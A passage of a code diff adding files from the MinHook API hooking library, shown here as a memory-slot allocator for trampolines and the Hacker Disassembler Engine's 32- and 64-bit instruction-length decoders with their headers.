|
||||
{
|
||||
PMEMORY_SLOT pSlot;
|
||||
PMEMORY_BLOCK pBlock = GetMemoryBlock(pOrigin);
|
||||
if (pBlock == NULL)
|
||||
return NULL;
|
||||
|
||||
// Remove an unused slot from the list.
|
||||
pSlot = pBlock->pFree;
|
||||
pBlock->pFree = pSlot->pNext;
|
||||
pBlock->usedCount++;
|
||||
#ifdef _DEBUG
|
||||
// Fill the slot with INT3 for debugging.
|
||||
memset(pSlot, 0xCC, sizeof(MEMORY_SLOT));
|
||||
#endif
|
||||
return pSlot;
|
||||
}
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
VOID FreeBuffer(LPVOID pBuffer)
|
||||
{
|
||||
PMEMORY_BLOCK pBlock = g_pMemoryBlocks;
|
||||
PMEMORY_BLOCK pPrev = NULL;
|
||||
ULONG_PTR pTargetBlock = ((ULONG_PTR)pBuffer / MEMORY_BLOCK_SIZE) * MEMORY_BLOCK_SIZE;
|
||||
|
||||
while (pBlock != NULL)
|
||||
{
|
||||
if ((ULONG_PTR)pBlock == pTargetBlock)
|
||||
{
|
||||
PMEMORY_SLOT pSlot = (PMEMORY_SLOT)pBuffer;
|
||||
#ifdef _DEBUG
|
||||
// Clear the released slot for debugging.
|
||||
memset(pSlot, 0x00, sizeof(MEMORY_SLOT));
|
||||
#endif
|
||||
// Restore the released slot to the list.
|
||||
pSlot->pNext = pBlock->pFree;
|
||||
pBlock->pFree = pSlot;
|
||||
pBlock->usedCount--;
|
||||
|
||||
// Free if unused.
|
||||
if (pBlock->usedCount == 0)
|
||||
{
|
||||
if (pPrev)
|
||||
pPrev->pNext = pBlock->pNext;
|
||||
else
|
||||
g_pMemoryBlocks = pBlock->pNext;
|
||||
|
||||
VirtualFree(pBlock, 0, MEM_RELEASE);
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
pPrev = pBlock;
|
||||
pBlock = pBlock->pNext;
|
||||
}
|
||||
}
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
BOOL IsExecutableAddress(LPVOID pAddress)
|
||||
{
|
||||
MEMORY_BASIC_INFORMATION mi;
|
||||
VirtualQuery(pAddress, &mi, sizeof(mi));
|
||||
|
||||
return (mi.State == MEM_COMMIT && (mi.Protect & PAGE_EXECUTE_FLAGS));
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
/*
|
||||
* MinHook - The Minimalistic API Hooking Library for x64/x86
|
||||
* Copyright (C) 2009-2017 Tsuda Kageyu.
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
||||
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
|
||||
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
|
||||
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
|
||||
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
|
||||
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
|
||||
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
||||
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
// Size of each memory slot.
|
||||
#if defined(_M_X64) || defined(__x86_64__)
|
||||
#define MEMORY_SLOT_SIZE 64
|
||||
#else
|
||||
#define MEMORY_SLOT_SIZE 32
|
||||
#endif
|
||||
|
||||
VOID InitializeBuffer(VOID);
|
||||
VOID UninitializeBuffer(VOID);
|
||||
LPVOID AllocateBuffer(LPVOID pOrigin);
|
||||
VOID FreeBuffer(LPVOID pBuffer);
|
||||
BOOL IsExecutableAddress(LPVOID pAddress);
|
||||
@@ -0,0 +1,324 @@
|
||||
/*
|
||||
* Hacker Disassembler Engine 32 C
|
||||
* Copyright (c) 2008-2009, Vyacheslav Patkov.
|
||||
* All rights reserved.
|
||||
*
|
||||
*/
|
||||
|
||||
#if defined(_M_IX86) || defined(__i386__)
|
||||
|
||||
#include <string.h>
|
||||
#include "hde32.h"
|
||||
#include "table32.h"
|
||||
|
||||
unsigned int hde32_disasm(const void *code, hde32s *hs)
|
||||
{
|
||||
uint8_t x, c, *p = (uint8_t *)code, cflags, opcode, pref = 0;
|
||||
uint8_t *ht = hde32_table, m_mod, m_reg, m_rm, disp_size = 0;
|
||||
|
||||
memset(hs, 0, sizeof(hde32s));
|
||||
|
||||
for (x = 16; x; x--)
|
||||
switch (c = *p++) {
|
||||
case 0xf3:
|
||||
hs->p_rep = c;
|
||||
pref |= PRE_F3;
|
||||
break;
|
||||
case 0xf2:
|
||||
hs->p_rep = c;
|
||||
pref |= PRE_F2;
|
||||
break;
|
||||
case 0xf0:
|
||||
hs->p_lock = c;
|
||||
pref |= PRE_LOCK;
|
||||
break;
|
||||
case 0x26: case 0x2e: case 0x36:
|
||||
case 0x3e: case 0x64: case 0x65:
|
||||
hs->p_seg = c;
|
||||
pref |= PRE_SEG;
|
||||
break;
|
||||
case 0x66:
|
||||
hs->p_66 = c;
|
||||
pref |= PRE_66;
|
||||
break;
|
||||
case 0x67:
|
||||
hs->p_67 = c;
|
||||
pref |= PRE_67;
|
||||
break;
|
||||
default:
|
||||
goto pref_done;
|
||||
}
|
||||
pref_done:
|
||||
|
||||
hs->flags = (uint32_t)pref << 23;
|
||||
|
||||
if (!pref)
|
||||
pref |= PRE_NONE;
|
||||
|
||||
if ((hs->opcode = c) == 0x0f) {
|
||||
hs->opcode2 = c = *p++;
|
||||
ht += DELTA_OPCODES;
|
||||
} else if (c >= 0xa0 && c <= 0xa3) {
|
||||
if (pref & PRE_67)
|
||||
pref |= PRE_66;
|
||||
else
|
||||
pref &= ~PRE_66;
|
||||
}
|
||||
|
||||
opcode = c;
|
||||
cflags = ht[ht[opcode / 4] + (opcode % 4)];
|
||||
|
||||
if (cflags == C_ERROR) {
|
||||
hs->flags |= F_ERROR | F_ERROR_OPCODE;
|
||||
cflags = 0;
|
||||
if ((opcode & -3) == 0x24)
|
||||
cflags++;
|
||||
}
|
||||
|
||||
x = 0;
|
||||
if (cflags & C_GROUP) {
|
||||
uint16_t t;
|
||||
t = *(uint16_t *)(ht + (cflags & 0x7f));
|
||||
cflags = (uint8_t)t;
|
||||
x = (uint8_t)(t >> 8);
|
||||
}
|
||||
|
||||
if (hs->opcode2) {
|
||||
ht = hde32_table + DELTA_PREFIXES;
|
||||
if (ht[ht[opcode / 4] + (opcode % 4)] & pref)
|
||||
hs->flags |= F_ERROR | F_ERROR_OPCODE;
|
||||
}
|
||||
|
||||
if (cflags & C_MODRM) {
|
||||
hs->flags |= F_MODRM;
|
||||
hs->modrm = c = *p++;
|
||||
hs->modrm_mod = m_mod = c >> 6;
|
||||
hs->modrm_rm = m_rm = c & 7;
|
||||
hs->modrm_reg = m_reg = (c & 0x3f) >> 3;
|
||||
|
||||
if (x && ((x << m_reg) & 0x80))
|
||||
hs->flags |= F_ERROR | F_ERROR_OPCODE;
|
||||
|
||||
if (!hs->opcode2 && opcode >= 0xd9 && opcode <= 0xdf) {
|
||||
uint8_t t = opcode - 0xd9;
|
||||
if (m_mod == 3) {
|
||||
ht = hde32_table + DELTA_FPU_MODRM + t*8;
|
||||
t = ht[m_reg] << m_rm;
|
||||
} else {
|
||||
ht = hde32_table + DELTA_FPU_REG;
|
||||
t = ht[t] << m_reg;
|
||||
}
|
||||
if (t & 0x80)
|
||||
hs->flags |= F_ERROR | F_ERROR_OPCODE;
|
||||
}
|
||||
|
||||
if (pref & PRE_LOCK) {
|
||||
if (m_mod == 3) {
|
||||
hs->flags |= F_ERROR | F_ERROR_LOCK;
|
||||
} else {
|
||||
uint8_t *table_end, op = opcode;
|
||||
if (hs->opcode2) {
|
||||
ht = hde32_table + DELTA_OP2_LOCK_OK;
|
||||
table_end = ht + DELTA_OP_ONLY_MEM - DELTA_OP2_LOCK_OK;
|
||||
} else {
|
||||
ht = hde32_table + DELTA_OP_LOCK_OK;
|
||||
table_end = ht + DELTA_OP2_LOCK_OK - DELTA_OP_LOCK_OK;
|
||||
op &= -2;
|
||||
}
|
||||
for (; ht != table_end; ht++)
|
||||
if (*ht++ == op) {
|
||||
if (!((*ht << m_reg) & 0x80))
|
||||
goto no_lock_error;
|
||||
else
|
||||
break;
|
||||
}
|
||||
hs->flags |= F_ERROR | F_ERROR_LOCK;
|
||||
no_lock_error:
|
||||
;
|
||||
}
|
||||
}
|
||||
|
||||
if (hs->opcode2) {
|
||||
switch (opcode) {
|
||||
case 0x20: case 0x22:
|
||||
m_mod = 3;
|
||||
if (m_reg > 4 || m_reg == 1)
|
||||
goto error_operand;
|
||||
else
|
||||
goto no_error_operand;
|
||||
case 0x21: case 0x23:
|
||||
m_mod = 3;
|
||||
if (m_reg == 4 || m_reg == 5)
|
||||
goto error_operand;
|
||||
else
|
||||
goto no_error_operand;
|
||||
}
|
||||
} else {
|
||||
switch (opcode) {
|
||||
case 0x8c:
|
||||
if (m_reg > 5)
|
||||
goto error_operand;
|
||||
else
|
||||
goto no_error_operand;
|
||||
case 0x8e:
|
||||
if (m_reg == 1 || m_reg > 5)
|
||||
goto error_operand;
|
||||
else
|
||||
goto no_error_operand;
|
||||
}
|
||||
}
|
||||
|
||||
if (m_mod == 3) {
|
||||
uint8_t *table_end;
|
||||
if (hs->opcode2) {
|
||||
ht = hde32_table + DELTA_OP2_ONLY_MEM;
|
||||
table_end = ht + sizeof(hde32_table) - DELTA_OP2_ONLY_MEM;
|
||||
} else {
|
||||
ht = hde32_table + DELTA_OP_ONLY_MEM;
|
||||
table_end = ht + DELTA_OP2_ONLY_MEM - DELTA_OP_ONLY_MEM;
|
||||
}
|
||||
for (; ht != table_end; ht += 2)
|
||||
if (*ht++ == opcode) {
|
||||
if ((*ht++ & pref) && !((*ht << m_reg) & 0x80))
|
||||
goto error_operand;
|
||||
else
|
||||
break;
|
||||
}
|
||||
goto no_error_operand;
|
||||
} else if (hs->opcode2) {
|
||||
switch (opcode) {
|
||||
case 0x50: case 0xd7: case 0xf7:
|
||||
if (pref & (PRE_NONE | PRE_66))
|
||||
goto error_operand;
|
||||
break;
|
||||
case 0xd6:
|
||||
if (pref & (PRE_F2 | PRE_F3))
|
||||
goto error_operand;
|
||||
break;
|
||||
case 0xc5:
|
||||
goto error_operand;
|
||||
}
|
||||
goto no_error_operand;
|
||||
} else
|
||||
goto no_error_operand;
|
||||
|
||||
error_operand:
|
||||
hs->flags |= F_ERROR | F_ERROR_OPERAND;
|
||||
no_error_operand:
|
||||
|
||||
c = *p++;
|
||||
if (m_reg <= 1) {
|
||||
if (opcode == 0xf6)
|
||||
cflags |= C_IMM8;
|
||||
else if (opcode == 0xf7)
|
||||
cflags |= C_IMM_P66;
|
||||
}
|
||||
|
||||
switch (m_mod) {
|
||||
case 0:
|
||||
if (pref & PRE_67) {
|
||||
if (m_rm == 6)
|
||||
disp_size = 2;
|
||||
} else
|
||||
if (m_rm == 5)
|
||||
disp_size = 4;
|
||||
break;
|
||||
case 1:
|
||||
disp_size = 1;
|
||||
break;
|
||||
case 2:
|
||||
disp_size = 2;
|
||||
if (!(pref & PRE_67))
|
||||
disp_size <<= 1;
|
||||
break;
|
||||
}
|
||||
|
||||
if (m_mod != 3 && m_rm == 4 && !(pref & PRE_67)) {
|
||||
hs->flags |= F_SIB;
|
||||
p++;
|
||||
hs->sib = c;
|
||||
hs->sib_scale = c >> 6;
|
||||
hs->sib_index = (c & 0x3f) >> 3;
|
||||
if ((hs->sib_base = c & 7) == 5 && !(m_mod & 1))
|
||||
disp_size = 4;
|
||||
}
|
||||
|
||||
p--;
|
||||
switch (disp_size) {
|
||||
case 1:
|
||||
hs->flags |= F_DISP8;
|
||||
hs->disp.disp8 = *p;
|
||||
break;
|
||||
case 2:
|
||||
hs->flags |= F_DISP16;
|
||||
hs->disp.disp16 = *(uint16_t *)p;
|
||||
break;
|
||||
case 4:
|
||||
hs->flags |= F_DISP32;
|
||||
hs->disp.disp32 = *(uint32_t *)p;
|
||||
break;
|
||||
}
|
||||
p += disp_size;
|
||||
} else if (pref & PRE_LOCK)
|
||||
hs->flags |= F_ERROR | F_ERROR_LOCK;
|
||||
|
||||
if (cflags & C_IMM_P66) {
|
||||
if (cflags & C_REL32) {
|
||||
if (pref & PRE_66) {
|
||||
hs->flags |= F_IMM16 | F_RELATIVE;
|
||||
hs->imm.imm16 = *(uint16_t *)p;
|
||||
p += 2;
|
||||
goto disasm_done;
|
||||
}
|
||||
goto rel32_ok;
|
||||
}
|
||||
if (pref & PRE_66) {
|
||||
hs->flags |= F_IMM16;
|
||||
hs->imm.imm16 = *(uint16_t *)p;
|
||||
p += 2;
|
||||
} else {
|
||||
hs->flags |= F_IMM32;
|
||||
hs->imm.imm32 = *(uint32_t *)p;
|
||||
p += 4;
|
||||
}
|
||||
}
|
||||
|
||||
if (cflags & C_IMM16) {
|
||||
if (hs->flags & F_IMM32) {
|
||||
hs->flags |= F_IMM16;
|
||||
hs->disp.disp16 = *(uint16_t *)p;
|
||||
} else if (hs->flags & F_IMM16) {
|
||||
hs->flags |= F_2IMM16;
|
||||
hs->disp.disp16 = *(uint16_t *)p;
|
||||
} else {
|
||||
hs->flags |= F_IMM16;
|
||||
hs->imm.imm16 = *(uint16_t *)p;
|
||||
}
|
||||
p += 2;
|
||||
}
|
||||
if (cflags & C_IMM8) {
|
||||
hs->flags |= F_IMM8;
|
||||
hs->imm.imm8 = *p++;
|
||||
}
|
||||
|
||||
if (cflags & C_REL32) {
|
||||
rel32_ok:
|
||||
hs->flags |= F_IMM32 | F_RELATIVE;
|
||||
hs->imm.imm32 = *(uint32_t *)p;
|
||||
p += 4;
|
||||
} else if (cflags & C_REL8) {
|
||||
hs->flags |= F_IMM8 | F_RELATIVE;
|
||||
hs->imm.imm8 = *p++;
|
||||
}
|
||||
|
||||
disasm_done:
|
||||
|
||||
if ((hs->len = (uint8_t)(p-(uint8_t *)code)) > 15) {
|
||||
hs->flags |= F_ERROR | F_ERROR_LENGTH;
|
||||
hs->len = 15;
|
||||
}
|
||||
|
||||
return (unsigned int)hs->len;
|
||||
}
|
||||
|
||||
#endif // defined(_M_IX86) || defined(__i386__)
|
||||
@@ -0,0 +1,105 @@
|
||||
/*
|
||||
* Hacker Disassembler Engine 32
|
||||
* Copyright (c) 2006-2009, Vyacheslav Patkov.
|
||||
* All rights reserved.
|
||||
*
|
||||
* hde32.h: C/C++ header file
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef _HDE32_H_
|
||||
#define _HDE32_H_
|
||||
|
||||
/* stdint.h - C99 standard header
|
||||
* http://en.wikipedia.org/wiki/stdint.h
|
||||
*
|
||||
* if your compiler doesn't contain "stdint.h" header (for
|
||||
* example, Microsoft Visual C++), you can download file:
|
||||
* http://www.azillionmonkeys.com/qed/pstdint.h
|
||||
* and change next line to:
|
||||
* #include "pstdint.h"
|
||||
*/
|
||||
#include "pstdint.h"
|
||||
|
||||
#define F_MODRM 0x00000001
|
||||
#define F_SIB 0x00000002
|
||||
#define F_IMM8 0x00000004
|
||||
#define F_IMM16 0x00000008
|
||||
#define F_IMM32 0x00000010
|
||||
#define F_DISP8 0x00000020
|
||||
#define F_DISP16 0x00000040
|
||||
#define F_DISP32 0x00000080
|
||||
#define F_RELATIVE 0x00000100
|
||||
#define F_2IMM16 0x00000800
|
||||
#define F_ERROR 0x00001000
|
||||
#define F_ERROR_OPCODE 0x00002000
|
||||
#define F_ERROR_LENGTH 0x00004000
|
||||
#define F_ERROR_LOCK 0x00008000
|
||||
#define F_ERROR_OPERAND 0x00010000
|
||||
#define F_PREFIX_REPNZ 0x01000000
|
||||
#define F_PREFIX_REPX 0x02000000
|
||||
#define F_PREFIX_REP 0x03000000
|
||||
#define F_PREFIX_66 0x04000000
|
||||
#define F_PREFIX_67 0x08000000
|
||||
#define F_PREFIX_LOCK 0x10000000
|
||||
#define F_PREFIX_SEG 0x20000000
|
||||
#define F_PREFIX_ANY 0x3f000000
|
||||
|
||||
#define PREFIX_SEGMENT_CS 0x2e
|
||||
#define PREFIX_SEGMENT_SS 0x36
|
||||
#define PREFIX_SEGMENT_DS 0x3e
|
||||
#define PREFIX_SEGMENT_ES 0x26
|
||||
#define PREFIX_SEGMENT_FS 0x64
|
||||
#define PREFIX_SEGMENT_GS 0x65
|
||||
#define PREFIX_LOCK 0xf0
|
||||
#define PREFIX_REPNZ 0xf2
|
||||
#define PREFIX_REPX 0xf3
|
||||
#define PREFIX_OPERAND_SIZE 0x66
|
||||
#define PREFIX_ADDRESS_SIZE 0x67
|
||||
|
||||
#pragma pack(push,1)
|
||||
|
||||
typedef struct {
|
||||
uint8_t len;
|
||||
uint8_t p_rep;
|
||||
uint8_t p_lock;
|
||||
uint8_t p_seg;
|
||||
uint8_t p_66;
|
||||
uint8_t p_67;
|
||||
uint8_t opcode;
|
||||
uint8_t opcode2;
|
||||
uint8_t modrm;
|
||||
uint8_t modrm_mod;
|
||||
uint8_t modrm_reg;
|
||||
uint8_t modrm_rm;
|
||||
uint8_t sib;
|
||||
uint8_t sib_scale;
|
||||
uint8_t sib_index;
|
||||
uint8_t sib_base;
|
||||
union {
|
||||
uint8_t imm8;
|
||||
uint16_t imm16;
|
||||
uint32_t imm32;
|
||||
} imm;
|
||||
union {
|
||||
uint8_t disp8;
|
||||
uint16_t disp16;
|
||||
uint32_t disp32;
|
||||
} disp;
|
||||
uint32_t flags;
|
||||
} hde32s;
|
||||
|
||||
#pragma pack(pop)
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* __cdecl */
|
||||
unsigned int hde32_disasm(const void *code, hde32s *hs);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* _HDE32_H_ */
|
||||
@@ -0,0 +1,335 @@
|
||||
/*
|
||||
* Hacker Disassembler Engine 64 C
|
||||
* Copyright (c) 2008-2009, Vyacheslav Patkov.
|
||||
* All rights reserved.
|
||||
*
|
||||
*/
|
||||
|
||||
#if defined(_M_X64) || defined(__x86_64__)
|
||||
|
||||
#include <string.h>
|
||||
#include "hde64.h"
|
||||
#include "table64.h"
|
||||
|
||||
unsigned int hde64_disasm(const void *code, hde64s *hs)
|
||||
{
|
||||
uint8_t x, c, *p = (uint8_t *)code, cflags, opcode, pref = 0;
|
||||
uint8_t *ht = hde64_table, m_mod, m_reg, m_rm, disp_size = 0;
|
||||
uint8_t op64 = 0;
|
||||
|
||||
memset(hs, 0, sizeof(hde64s));
|
||||
|
||||
for (x = 16; x; x--)
|
||||
switch (c = *p++) {
|
||||
case 0xf3:
|
||||
hs->p_rep = c;
|
||||
pref |= PRE_F3;
|
||||
break;
|
||||
case 0xf2:
|
||||
hs->p_rep = c;
|
||||
pref |= PRE_F2;
|
||||
break;
|
||||
case 0xf0:
|
||||
hs->p_lock = c;
|
||||
pref |= PRE_LOCK;
|
||||
break;
|
||||
case 0x26: case 0x2e: case 0x36:
|
||||
case 0x3e: case 0x64: case 0x65:
|
||||
hs->p_seg = c;
|
||||
pref |= PRE_SEG;
|
||||
break;
|
||||
case 0x66:
|
||||
hs->p_66 = c;
|
||||
pref |= PRE_66;
|
||||
break;
|
||||
case 0x67:
|
||||
hs->p_67 = c;
|
||||
pref |= PRE_67;
|
||||
break;
|
||||
default:
|
||||
goto pref_done;
|
||||
}
|
||||
pref_done:
|
||||
|
||||
hs->flags = (uint32_t)pref << 23;
|
||||
|
||||
if (!pref)
|
||||
pref |= PRE_NONE;
|
||||
|
||||
if ((c & 0xf0) == 0x40) {
|
||||
hs->flags |= F_PREFIX_REX;
|
||||
if ((hs->rex_w = (c & 0xf) >> 3) && (*p & 0xf8) == 0xb8)
|
||||
op64++;
|
||||
hs->rex_r = (c & 7) >> 2;
|
||||
hs->rex_x = (c & 3) >> 1;
|
||||
hs->rex_b = c & 1;
|
||||
if (((c = *p++) & 0xf0) == 0x40) {
|
||||
opcode = c;
|
||||
goto error_opcode;
|
||||
}
|
||||
}
|
||||
|
||||
if ((hs->opcode = c) == 0x0f) {
|
||||
hs->opcode2 = c = *p++;
|
||||
ht += DELTA_OPCODES;
|
||||
} else if (c >= 0xa0 && c <= 0xa3) {
|
||||
op64++;
|
||||
if (pref & PRE_67)
|
||||
pref |= PRE_66;
|
||||
else
|
||||
pref &= ~PRE_66;
|
||||
}
|
||||
|
||||
opcode = c;
|
||||
cflags = ht[ht[opcode / 4] + (opcode % 4)];
|
||||
|
||||
if (cflags == C_ERROR) {
|
||||
error_opcode:
|
||||
hs->flags |= F_ERROR | F_ERROR_OPCODE;
|
||||
cflags = 0;
|
||||
if ((opcode & -3) == 0x24)
|
||||
cflags++;
|
||||
}
|
||||
|
||||
x = 0;
|
||||
if (cflags & C_GROUP) {
|
||||
uint16_t t;
|
||||
t = *(uint16_t *)(ht + (cflags & 0x7f));
|
||||
cflags = (uint8_t)t;
|
||||
x = (uint8_t)(t >> 8);
|
||||
}
|
||||
|
||||
if (hs->opcode2) {
|
||||
ht = hde64_table + DELTA_PREFIXES;
|
||||
if (ht[ht[opcode / 4] + (opcode % 4)] & pref)
|
||||
hs->flags |= F_ERROR | F_ERROR_OPCODE;
|
||||
}
|
||||
|
||||
if (cflags & C_MODRM) {
|
||||
hs->flags |= F_MODRM;
|
||||
hs->modrm = c = *p++;
|
||||
hs->modrm_mod = m_mod = c >> 6;
|
||||
hs->modrm_rm = m_rm = c & 7;
|
||||
hs->modrm_reg = m_reg = (c & 0x3f) >> 3;
|
||||
|
||||
if (x && ((x << m_reg) & 0x80))
|
||||
hs->flags |= F_ERROR | F_ERROR_OPCODE;
|
||||
|
||||
if (!hs->opcode2 && opcode >= 0xd9 && opcode <= 0xdf) {
|
||||
uint8_t t = opcode - 0xd9;
|
||||
if (m_mod == 3) {
|
||||
ht = hde64_table + DELTA_FPU_MODRM + t*8;
|
||||
t = ht[m_reg] << m_rm;
|
||||
} else {
|
||||
ht = hde64_table + DELTA_FPU_REG;
|
||||
t = ht[t] << m_reg;
|
||||
}
|
||||
if (t & 0x80)
|
||||
hs->flags |= F_ERROR | F_ERROR_OPCODE;
|
||||
}
|
||||
|
||||
if (pref & PRE_LOCK) {
|
||||
if (m_mod == 3) {
|
||||
hs->flags |= F_ERROR | F_ERROR_LOCK;
|
||||
} else {
|
||||
uint8_t *table_end, op = opcode;
|
||||
if (hs->opcode2) {
|
||||
ht = hde64_table + DELTA_OP2_LOCK_OK;
|
||||
table_end = ht + DELTA_OP_ONLY_MEM - DELTA_OP2_LOCK_OK;
|
||||
} else {
|
||||
ht = hde64_table + DELTA_OP_LOCK_OK;
|
||||
table_end = ht + DELTA_OP2_LOCK_OK - DELTA_OP_LOCK_OK;
|
||||
op &= -2;
|
||||
}
|
||||
for (; ht != table_end; ht++)
|
||||
if (*ht++ == op) {
|
||||
if (!((*ht << m_reg) & 0x80))
|
||||
goto no_lock_error;
|
||||
else
|
||||
break;
|
||||
}
|
||||
hs->flags |= F_ERROR | F_ERROR_LOCK;
|
||||
no_lock_error:
|
||||
;
|
||||
}
|
||||
}
|
||||
|
||||
if (hs->opcode2) {
|
||||
switch (opcode) {
|
||||
case 0x20: case 0x22:
|
||||
m_mod = 3;
|
||||
if (m_reg > 4 || m_reg == 1)
|
||||
goto error_operand;
|
||||
else
|
||||
goto no_error_operand;
|
||||
case 0x21: case 0x23:
|
||||
m_mod = 3;
|
||||
if (m_reg == 4 || m_reg == 5)
|
||||
goto error_operand;
|
||||
else
|
||||
goto no_error_operand;
|
||||
}
|
||||
} else {
|
||||
switch (opcode) {
|
||||
case 0x8c:
|
||||
if (m_reg > 5)
|
||||
goto error_operand;
|
||||
else
|
||||
goto no_error_operand;
|
||||
case 0x8e:
|
||||
if (m_reg == 1 || m_reg > 5)
|
||||
goto error_operand;
|
||||
else
|
||||
goto no_error_operand;
|
||||
}
|
||||
}
|
||||
|
||||
if (m_mod == 3) {
|
||||
uint8_t *table_end;
|
||||
if (hs->opcode2) {
|
||||
ht = hde64_table + DELTA_OP2_ONLY_MEM;
|
||||
table_end = ht + sizeof(hde64_table) - DELTA_OP2_ONLY_MEM;
|
||||
} else {
|
||||
ht = hde64_table + DELTA_OP_ONLY_MEM;
|
||||
table_end = ht + DELTA_OP2_ONLY_MEM - DELTA_OP_ONLY_MEM;
|
||||
}
|
||||
for (; ht != table_end; ht += 2)
|
||||
if (*ht++ == opcode) {
|
||||
if ((*ht++ & pref) && !((*ht << m_reg) & 0x80))
|
||||
goto error_operand;
|
||||
else
|
||||
break;
|
||||
}
|
||||
goto no_error_operand;
|
||||
} else if (hs->opcode2) {
|
||||
switch (opcode) {
|
||||
case 0x50: case 0xd7: case 0xf7:
|
||||
if (pref & (PRE_NONE | PRE_66))
|
||||
goto error_operand;
|
||||
break;
|
||||
case 0xd6:
|
||||
if (pref & (PRE_F2 | PRE_F3))
|
||||
goto error_operand;
|
||||
break;
|
||||
case 0xc5:
|
||||
goto error_operand;
|
||||
}
|
||||
goto no_error_operand;
|
||||
} else
|
||||
goto no_error_operand;
|
||||
|
||||
error_operand:
|
||||
hs->flags |= F_ERROR | F_ERROR_OPERAND;
|
||||
no_error_operand:
|
||||
|
||||
c = *p++;
|
||||
if (m_reg <= 1) {
|
||||
if (opcode == 0xf6)
|
||||
cflags |= C_IMM8;
|
||||
else if (opcode == 0xf7)
|
||||
cflags |= C_IMM_P66;
|
||||
}
|
||||
|
||||
switch (m_mod) {
|
||||
case 0:
|
||||
if (pref & PRE_67) {
|
||||
if (m_rm == 6)
|
||||
disp_size = 2;
|
||||
} else
|
||||
if (m_rm == 5)
|
||||
disp_size = 4;
|
||||
break;
|
||||
case 1:
|
||||
disp_size = 1;
|
||||
break;
|
||||
case 2:
|
||||
disp_size = 2;
|
||||
if (!(pref & PRE_67))
|
||||
disp_size <<= 1;
|
||||
break;
|
||||
}
|
||||
|
||||
if (m_mod != 3 && m_rm == 4) {
|
||||
hs->flags |= F_SIB;
|
||||
p++;
|
||||
hs->sib = c;
|
||||
hs->sib_scale = c >> 6;
|
||||
hs->sib_index = (c & 0x3f) >> 3;
|
||||
if ((hs->sib_base = c & 7) == 5 && !(m_mod & 1))
|
||||
disp_size = 4;
|
||||
}
|
||||
|
||||
p--;
|
||||
switch (disp_size) {
|
||||
case 1:
|
||||
hs->flags |= F_DISP8;
|
||||
hs->disp.disp8 = *p;
|
||||
break;
|
||||
case 2:
|
||||
hs->flags |= F_DISP16;
|
||||
hs->disp.disp16 = *(uint16_t *)p;
|
||||
break;
|
||||
case 4:
|
||||
hs->flags |= F_DISP32;
|
||||
hs->disp.disp32 = *(uint32_t *)p;
|
||||
break;
|
||||
}
|
||||
p += disp_size;
|
||||
} else if (pref & PRE_LOCK)
|
||||
hs->flags |= F_ERROR | F_ERROR_LOCK;
|
||||
|
||||
if (cflags & C_IMM_P66) {
|
||||
if (cflags & C_REL32) {
|
||||
if (pref & PRE_66) {
|
||||
hs->flags |= F_IMM16 | F_RELATIVE;
|
||||
hs->imm.imm16 = *(uint16_t *)p;
|
||||
p += 2;
|
||||
goto disasm_done;
|
||||
}
|
||||
goto rel32_ok;
|
||||
}
|
||||
if (op64) {
|
||||
hs->flags |= F_IMM64;
|
||||
hs->imm.imm64 = *(uint64_t *)p;
|
||||
p += 8;
|
||||
} else if (!(pref & PRE_66)) {
|
||||
hs->flags |= F_IMM32;
|
||||
hs->imm.imm32 = *(uint32_t *)p;
|
||||
p += 4;
|
||||
} else
|
||||
goto imm16_ok;
|
||||
}
|
||||
|
||||
|
||||
if (cflags & C_IMM16) {
|
||||
imm16_ok:
|
||||
hs->flags |= F_IMM16;
|
||||
hs->imm.imm16 = *(uint16_t *)p;
|
||||
p += 2;
|
||||
}
|
||||
if (cflags & C_IMM8) {
|
||||
hs->flags |= F_IMM8;
|
||||
hs->imm.imm8 = *p++;
|
||||
}
|
||||
|
||||
if (cflags & C_REL32) {
|
||||
rel32_ok:
|
||||
hs->flags |= F_IMM32 | F_RELATIVE;
|
||||
hs->imm.imm32 = *(uint32_t *)p;
|
||||
p += 4;
|
||||
} else if (cflags & C_REL8) {
|
||||
hs->flags |= F_IMM8 | F_RELATIVE;
|
||||
hs->imm.imm8 = *p++;
|
||||
}
|
||||
|
||||
disasm_done:
|
||||
|
||||
if ((hs->len = (uint8_t)(p-(uint8_t *)code)) > 15) {
|
||||
hs->flags |= F_ERROR | F_ERROR_LENGTH;
|
||||
hs->len = 15;
|
||||
}
|
||||
|
||||
return (unsigned int)hs->len;
|
||||
}
|
||||
|
||||
#endif // defined(_M_X64) || defined(__x86_64__)
|
||||
@@ -0,0 +1,112 @@
|
||||
/*
|
||||
* Hacker Disassembler Engine 64
|
||||
